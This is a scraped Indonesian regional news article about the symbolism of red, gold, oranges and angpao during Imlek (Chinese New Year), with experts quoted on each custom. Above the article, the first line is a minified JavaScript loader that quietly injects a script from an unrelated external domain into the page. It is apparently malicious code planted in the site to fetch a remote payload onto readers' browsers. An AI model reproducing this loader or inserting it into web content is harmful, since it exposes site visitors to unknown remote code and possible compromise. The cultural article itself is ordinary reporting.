(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Budaya

Imlek, Warna Merah, dan Berbagai Hal Sebagai Lambang Energi Positif


BANJARMASIN, Imlek disambut dengan kemeriahan lewat ornamen. Apapun bentuk ornamen tersebut, satu hal yang pasti adalah warna yang dipakai, yakni warna merah. Anda mungkin pernah bertanya mengapa warna merah menjadi warna yang identik dengan Imlek. Apakah memang hanya sekadar warna, atau ada makna lain di dalamnya?

David Kwa, Budayawan dan pengamat budaya Tionghoa Indonesia mengatakan bahwa pada dasarnya warna yang menjadi unsur dari “Yang” ini memiliki makna kebahagiaan. Warna merah juga menggambarkan Matahari, api yang dapat memberikan suasana kebahagiaan. Demikian dilansir kompas.com.

Menghias rumah dan melibatkan warna merah dalam berbagai kesempatan bisa dibilang sebagai gambaran dari pengharapan akan kebahagiaan dalam tahun yang baru.

Sementara itu, Suhana Lim, pakar Feng Shui menjelaskan bahwa selain sebagai pengharapan dan kebahagiaan, warna merah juga menjadi simbol akan kebaikan hati, kebenaran, dan ketulusan hati.

Pengucapan kata merah (hung) juga dinilai identik dengan kata makmur. Oleh karena itu, segala hal yang baik menjadi harapan bagi tahun yang baru, dan itu semua terwakilkan oleh warna merah.

Sebenarnya tidak hanya warna merah yang menghiasi harapan akan hal baik di tahun yang baru. Warna kuning dan emas juga menjadi warna lain ataupun warna pelengkap saat Imlek. Warna kuning dan emas juga dianggap sebagai lambang dari kemakmuran. Oleh karena itu, kedua warna ini juga digunakan dan menjadi harapan akan hal-hal yang positif.

Jeruk dan angpao pun menjadi hal yang identik dengan perayaan Imlek. Jeruk menggambarkan persaudaraan dan kekayaan, oleh sebab itu Jeruk menjadi buah yang wajib ada dalam Imlek. Biasanya ketika malam menjelang Imlek, keluarga akan berkumpul dan menghabiskan malam bersama.

Ketika berkumpul, makan malam besar menjadi hal yang tidak mungkin terlewatkan. Jeruk pun akan tersedia di meja dalam susunan yang menggunung. Harapannya adalah agar keluarga besar selalu memiliki hubungan yang erat dan kelimpahan kemakmuran.

Selesai berkumpul, anak-anak maupun anggota keluarga yang masih muda yang dinilai belum mapan, akan mendapatkan angpao berwarna merah. Hal ini dilakukan sebagai harapan dari yang dituakan kepada anak muda agar mendapatkan keberuntungan.(mario/ngp)

Reporter : Mario/ngp
Editor : Chell
Desy Arfianty

Recent Posts

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

2 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

15 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

17 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

17 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

19 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

2 hari ago

This website uses cookies.